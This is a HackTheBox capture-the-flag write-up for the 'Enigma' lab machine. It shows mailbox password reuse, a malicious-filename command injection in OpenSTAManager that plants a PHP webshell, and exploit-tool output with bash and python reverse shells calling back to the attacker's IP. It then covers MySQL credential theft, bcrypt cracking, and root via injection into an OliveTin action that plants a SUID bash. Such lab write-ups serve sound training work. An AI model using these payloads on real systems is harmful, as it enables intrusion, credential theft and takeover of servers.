HackTheBox — Enigma"
The real path is **password reuse** across the email accounts + a web-app exploit. So the next move is: reuse The `password` on the other mailboxes and read email to find internal app creds.
HackTheBox — Enigma (Easy / Linux) — Full Writeup & Methodology Notes
Initial situation (what was already known)
- nmap showed: 22 (SSH), 80 (nginx -> enigma.htb), 110/143/993/995 (POP3/IMAP dovecot), 111/2049 (rpcbind/NFS), plus NFS export
/srv/nfs/onboarding. - NFS share was already mounted locally at
/home/neo/pro/htb/enigma/enigma-nfs. - Inside it:
New_Employee_Access.pdf-> credskevin:Enigma2024!for webmail atmail001.enigma.htb. - Logged into webmail as kevin, found a welcome email from sarah saying IT would deliver access creds “via the company shared drive” (i.e. the NFS share). That was the misdirection — the PDF on the NFS share was the delivered credential.
Thinking at this stage
The “shared drive” is just the NFS export. The PDF already gave kevin. The real path is password reuse across the email accounts + a web-app exploit. So the next move is: reuse Enigma2024! on the other mailboxes (sarah) and read email to find internal app creds.
Hosts file & VPN connectivity check
enigma.htb resolved -> we are connected.
add the vhosts to /etc/hosts:
1
echo "10.129.63.105 enigma.htb mail001.enigma.htb support_001.enigma.htb" | sudo tee -a /etc/hosts
NMAP show the open port
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://enigma.htb/
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: UIDL STLS SASL PIPELINING CAPA RESP-CODES TOP AUTH-RESP-CODE
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after: 2036-02-16T20:33:33
|_ssl-date: TLS randomness does not represent time
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 39723/tcp6 mountd
| 100005 1,2,3 55767/udp6 mountd
| 100005 2,3 33367/tcp mountd
| 100005 2,3 53191/udp mountd
| 100021 1,3,4 35461/tcp nlockmgr
| 100021 1,3,4 36271/tcp6 nlockmgr
| 100021 1,3,4 54413/udp6 nlockmgr
| 100021 1,3,4 55950/udp nlockmgr
| 100024 1 43814/udp status
| 100024 1 49927/tcp6 status
| 100024 1 50631/tcp status
| 100024 1 56042/udp6 status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
143/tcp open imap Dovecot imapd (Ubuntu)
|_imap-capabilities: capabilities ENABLE IDLE more ID OK have IMAP4rev1 post-login LOGINDISABLEDA0001 SASL-IR listed Pre-login LITERAL+ STARTTLS LOGIN-REFERRALS
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after: 2036-02-16T20:33:33
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after: 2036-02-16T20:33:33
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: capabilities ENABLE IDLE ID OK more IMAP4rev1 AUTH=PLAINA0001 have SASL-IR post-login listed Pre-login LITERAL+ LOGIN-REFERRALS
995/tcp open ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after: 2036-02-16T20:33:33
|_pop3-capabilities: UIDL TOP SASL(PLAIN) PIPELINING CAPA RESP-CODES USER AUTH-RESP-CODE
|_ssl-date: TLS randomness does not represent time
2049/tcp open nfs_acl 3 (RPC #100227)
HTTP(80)
FUZZING try to fuzz
try to fuzz the dir but notheing found in this domain so, i pass it to sub-domains fuzz and it have a lot of sub-domain like that are create in mass. so i pass on to other port that othe port that is intersting was the nts
share drive
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ sudo showmount -e 10.129.66.128
Export list for 10.129.66.128:
/srv/nfs/onboarding *
┌──(neo㉿neo)-[~/pro/enigma]
└─$ sudo mount 10.129.66.128:/srv/nfs/onboarding /home/neo/pro/enigma/nts
┌──(neo㉿neo)-[~/pro/enigma]
└─$ cd nts
┌──(neo㉿neo)-[~/pro/enigma/nts]
└─$ ls
New_Employee_Access.pdf
┌──(neo㉿neo)-[~/pro/enigma/nts]
└─$
in this pdf i what the username and password for a mail server IMAP
1
2
3
4
Webmail Access
URL: http://mail001.enigma.htb
Username: kevin
Password: Enigma2024!
login
Reading Sarah’s mailbox via IMAP (password reuse)
Theory: kevin:Enigma2024! -> try same password on sarah. Connected to Dovecot IMAP (STARTTLS on 143) and read the inbox.
WORKED. Logged in as sarah. One email from it@enigma.htb (“Re: OpenSTAManager Access Request”) contained: 
1
2
3
URL: http://support_001.enigma.htb
Username: admin
Password: Ne3s4rtars78s
This is the pivot OpenSTAManager admin access. 
OpenSTAManager recon & login
Confirmed the web app is OpenSTAManager 2.9.8:
1
curl -s "http://support_001.enigma.htb/" | grep -iE "openstamanager|2\.9\.[0-9]+"
Login
Locating the importFE_ZIP plugin (several dead ends)
The plan was to exploit CVE-2025-69212 (command injection in the P7M decoder, triggered by uploading a ZIP with a malicious .p7m filename). Needed the correct upload endpoint + module/plugin IDs.
Confirming id_module / id_plugin from the live UI
Mapped dashboard module IDs to labels with a small Python regex over dash.html. id_module=14 = “Sales invoices” (where the FE import plugin attaches). Then fetched controller.php?id_module=14 and inspected the JS around the blob1 file input, which revealed the exact AJAX submit:
1
2
3
4
5
$("#upload1").ajaxSubmit({
url: globals.rootdir + "/actions.php",
data: { op: "save", id_module: "14", id_plugin: "48" },
type: "post", ...
});
So the upload is: POST /actions.php with fields op=save, id_module=14, id_plugin=48, file field blob1. 
In the UI import
fully automated
https://github.com/b0ySie7e/OpenSTAManager-RCE-Exploit-CVE-2026-38751.git
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
└─$ ./OpenSTAManager-RCE-Exploit-CVE-2026-38751 --url http://support_001.enigma.htb/ -U admin -P Ne3s4rtars78s --lhost 10.10.14.137 --lport 4444
[ OpenSTAManager RCE Exploit : ]
Target: http://support_001.enigma.htb/
[*] Step 1: Login...
[+] Login successful: admin
[*] Step 2: Enable updates...
[+] Updates enabled
[*] Step 3: Create ZIP...
[*] Created in-memory ZIP file
[*] Shell location: /modules/shell/shell.php
[*] Step 4: Upload...
[*] Upload status: 500 Internal Server Error
[+] Upload successful
[*] Step 5: Verify...
[+] Vulnerability confirmed!
[+] Shell: http://support_001.enigma.htb/modules/shell/shell.php
[+] Test: http://support_001.enigma.htb/modules/shell/shell.php?c=whoami
[*] Listening on 10.10.14.137:4444...
[*] Trying payload: bash -c 'bash -i >& /dev/tcp/10.10.14.137/4444 0>&1'
[-] Payload failed: error sending request for url (http://support_001.enigma.htb/modules/shell/shell.php?c=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.137%2F4444+0%3E%261%27): operation timed out
[*] Trying payload: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.137",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
[-] Payload failed: error sending request for url (http://support_001.enigma.htb/modules/shell/shell.php?c=python3+-c+%27import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.14.137%22%2C4444%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3Bos.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bsubprocess.call%28%5B%22%2Fbin%2Fbash%22%2C%22-i%22%5D%29%27): operation timed out
[*] Trying payload: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.137",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
[+] Payload sent successfully. Waiting for connection...
[+] Connection received from 10.129.239.191:58122
[*] Sent 'script /dev/null -c bash'
...
www-data@enigma:~/html/openstamanager/modules/shell$
how the script is Building the malicious ZIP & achieving RCE (CVE-2025-69212)
The payload filename ends in .p7m (so it is processed) and breaks out of the double-quoted exec() argument:
1
invoice.p7m";echo '<?php system($_GET["c"]); ?>' > SHELL.php;echo ".p7m
Built with Python (no / in the command):
1
2
3
4
5
import zipfile
cmd = "echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('/tmp/exploit.zip','w',zipfile.ZIP_DEFLATED) as zf:
zf.writestr(malicious, b"DUMMY_P7M_CONTENT")
Enumratinge the cofings
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
www-data@enigma:~/html/openstamanager$ cat config.inc.php
cat config.inc.php
<?php
/*
* OpenSTAManager: il software gestionale open source per l'assistenza tecnica e la fatturazione
* Copyright (C) DevCode s.r.l.
*
...
*/
// Impostazioni di base per l'accesso al database
$db_host = 'localhost';
$db_username = 'brollin';
$db_password = 'Fri3nds@9099';
$db_name = 'openstamanager';
// $port = '|port|';
$db_options = [
// 'sort_buffer_size' => '2M',
];
the mysql
1
2
3
4
5
6
7
```bash
$db_host = 'localhost';
$db_username = 'brollin';
$db_password = 'Fri3nds@9099';
$db_name = 'openstamanager';
Enumerating MySQL & cracking the user hash
Read the app DB config:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
www-data@enigma:~/html/openstamanager$ mysql -h localhost -u brollin -p'Fri3nds@9099'
<ger$ mysql -h localhost -u brollin -p'Fri3nds@9099'
..
mysql> SHOW DATABASES;
SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| openstamanager |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)
mysql> USE openstamanager;
USE openstamanager;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> SHOW TABLE;
SHOW TABLE;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
mysql> SHOW TABLES;
SHOW TABLES;
+---------------------------------+
| Tables_in_openstamanager |
+---------------------------------+
| an_anagrafiche |
| an_anagrafiche_agenti |
| an_assicurazione_crediti |
| an_mansioni |
| an_nazioni |
...
| zz_tasks_lang |
| zz_tasks_logs |
| zz_tokens |
| zz_user_sedi |
| zz_users |
| zz_views |
| zz_views_lang |
| zz_widgets |
| zz_widgets_lang |
+---------------------------------+
221 rows in set (0.00 sec)
mysql> SELECT * FROM zz_users;
SELECT * FROM zz_users;
+----+----------+--------------------------------------------------------------+------------------+--------------+----------+---------+---------------------+---------------------+-------------+---------------+---------+
| id | username | password | email | idanagrafica | idgruppo | enabled | created_at | updated_at | reset_token | image_file_id | options |
+----+----------+--------------------------------------------------------------+------------------+--------------+----------+---------+---------------------+---------------------+-------------+---------------+---------+
| 1 | admin | $2y$10$rTJVUNyGGKPlhw2cFdf5AeDHVMhnIChddcHx2XxVLMQS2KsuSz4Pu | admin@enigma.htb | 1 | 1 | 1 | 2026-02-18 19:26:52 | 2026-02-18 19:26:52 | NULL | NULL | |
| 2 | haris | $2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC | haris@enigma.htb | 1 | 5 | 1 | 2026-02-18 20:58:28 | 2026-05-26 11:07:03 | NULL | NULL | |
+----+----------+--------------------------------------------------------------+------------------+--------------+----------+---------+---------------------+---------------------+-------------+---------------+---------+
2 rows in set (0.00 sec)
Fixed — correct table zz_users
1
2
3
run "mysql -u brollin -p'Fri3nds@9099' openstamanager -N -e 'SELECT username,password FROM zz_users;'"
# admin $2y$10$rTJVUNyGGKPlhw2cFdf5AeDHVMhnIChddcHx2XxVLMQS2KsuSz4Pu
# haris $2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC
Both are bcrypt ($2y$10$...). Cracked haris’s hash.
Cracking — hashcat FAILED
1
2
3
echo '$2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC' > haris.hash
hashcat -m 3200 -a 0 haris.hash /usr/share/wordlists/rockyou.txt
# clGetPlatformIDs(): CL_PLATFORM_NOT_FOUND_KHR -> no OpenCL/GPU
Cracking — John the Ripper WORKED (CPU)
1
2
john --wordlist=/usr/share/wordlists/rockyou.txt haris.hash
# bestfriends (?)
=> haris:bestfriends The admin not Found —
User shell & USER flag
Switched to haris via the www-data webshell (su accepts password on stdin):
1
2
3
www-data@enigma:~/html/openstamanager/modules/shell$ su haris
su haris
Password: bestfriends
USER FLAG: 341977a8f2a...........a96732 —
Enumration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
haris@enigma:~$ ls -la mail
ls -la mail
total 12
drwx------ 3 haris haris 4096 Jun 23 14:14 .
drwxr-x--- 5 haris haris 4096 Jul 10 03:00 ..
drwx------ 3 haris haris 4096 Jun 23 14:14 .imap
haris@enigma:~$ ls -la mail/.imap
ls -la mail/.imap
total 20
drwx------ 3 haris haris 4096 Jun 23 14:14 .
drwx------ 3 haris haris 4096 Jun 23 14:14 ..
-rw------- 1 haris haris 452 Feb 18 20:53 dovecot.list.index.log
-rw------- 1 haris haris 8 Feb 18 20:53 dovecot-uidvalidity
-r--r--r-- 1 haris haris 0 Feb 18 20:53 dovecot-uidvalidity.699626e7
drwx------ 2 haris haris 4096 Jul 10 03:00 INBOX
haris@enigma:~$ ls -la mail/.imap/INBOX
ls -la mail/.imap/INBOX
total 16
drwx------ 2 haris haris 4096 Jul 10 03:00 .
drwx------ 3 haris haris 4096 Jun 23 14:14 ..
-rw------- 1 haris haris 152 Feb 18 20:53 dovecot.index.log
-rw------- 1 haris haris 158 Jul 10 03:00 dovecot.index.log.save
the open ports
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
haris@enigma:~$ ss -tlnp
ss -tlnp
State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0 4096 0.0.0.0:41683 0.0.0.0:*
...
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
LISTEN 0 64 0.0.0.0:38465 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:57099 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:1337 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:38001 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
...
LISTEN 0 4096 [::]:40871 [::]:*
LISTEN 0 64 [::]:40397 [::]:*
haris@enigma:~$
LISTEN 127.0.0.1:1337 <– localhost only
more importantly focesing on the http web server that is hosting port (1337) when we curl the page we found it is OliveTin so.
8. Privilege escalation via OliveTin (root)
Enumerated as haris:
1
2
ps aux | grep -i olivetin | grep -v grep
root 1440 /usr/local/bin/OliveTin <-- runs as root
1
2
3
4
5
cat /etc/OliveTin/config.yaml
# authRequireGuestsToLogin: false
# defaultPermissions: view: true, exec: true, logs: true
# action "Backup Database" id: backup_database
# shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
Misconfiguration: guests can execute actions, and the db_pass argument is inserted inside single quotes in a shell command -> quote breakout = command injection as root.
Exploit delivery — first attempt FAILED (400 Bad Request)
Posted arguments as a JSON object/map:
1
{"actionId":"backup_database","arguments":{"db_user":"backup_svc","db_name":"production","db_pass":"x'; ...; #"}}
-> HTTP Error 400: Bad Request. The OliveTin grpc-gateway expects arguments as an array of {name,value} objects, not a map.
Exploit delivery — fixed (WORKED)
Used array form. To avoid shell-quoting hell through the webshell, the Python exploit was base64-encoded and piped into python3 on the target:
1
2
3
4
5
6
7
8
9
10
11
import urllib.request, json
inj = "x'; cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb; cat /root/root.txt; #"
payload = {"actionId":"backup_database",
"arguments":[{"name":"db_user","value":"backup_svc"},
{"name":"db_name","value":"production"},
{"name":"db_pass","value":inj}]}
data = json.dumps(payload).encode()
req = urllib.request.Request(
"http://127.0.0.1:1337/api/olivetin.api.v1.OliveTinApiService/StartActionAndWait",
data=data, headers={"Content-Type":"application/json"})
print(urllib.request.urlopen(req, timeout=30).read().decode())
Run as haris:
1
2
B64=$(base64 -w0 olivetin_exploit.py)
printf 'bestfriends\n' | su haris -c 'echo $B64 | base64 -d | python3'
The rendered command becomes:
1
mysqldump -u backup_svc -p'x'; cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb; cat /root/root.txt; #' production > /opt/backups/backup.sql
The cat /root/root.txt output is returned in the API response output field:
1
690a84............f76f6d3ed7a
ROOT FLAG: 690a8479043............6f6d3ed7a
Also dropped a SUID root bash at /tmp/rb for a full root shell.
Root shell confirmation
1
2
3
/tmp/rb -p -c \"id; cat /root/root.txt\
# uid=1000(haris) gid=1000(haris) euid=0(root) ...
# 690a847.......6f6d3ed7a
Attack chain (condensed)
- NFS share
/srv/nfs/onboarding->New_Employee_Access.pdf->kevin:Enigma2024!. - Password reuse
sarah:Enigma2024!on IMAP -> IT email with OpenSTAManager admin credsadmin:Ne3s4rtars78s(support_001.enigma.htb). - OpenSTAManager 2.9.8 — CVE-2025-69212: upload ZIP w/ malicious
.p7mfilename -> command injection insrc/Util/XML.php-> PHP webshell at/files/SHELL.phpas www-data. config.inc.php-> MySQLbrollin:Fri3nds@9099->zz_users-> crackharisbcrypt ->bestfriends.su haris-> USER flag.- OliveTin (root, localhost:1337, guest exec enabled) —
Backup Databaseactiondb_passinjection -> ROOT flag + SUID/tmp/rb.
Things that did NOT work
sudo tee -a /etc/hosts— no sudo/TTY; not needed (hosts already set).- OpenSTAManager login POST to
/withlogin=Login— stayed on login page; correct action is?op=login. - Guessing plugin PHP source paths under
/plugins/importFE_ZIP/— 404/empty. - Reading module IDs from dashboard “Import”/”carica” grep — too noisy; solved by inspecting the
blob1AJAX JS instead. - Assuming webshell at web root
/SHELL.php— actually at/files/SHELL.php. - MySQL query on table
utenti— wrong; correct table iszz_users. hashcat— no OpenCL/GPU; switched tojohn.- OliveTin API with
argumentsas a map — 400; must be an array of{name,value}.





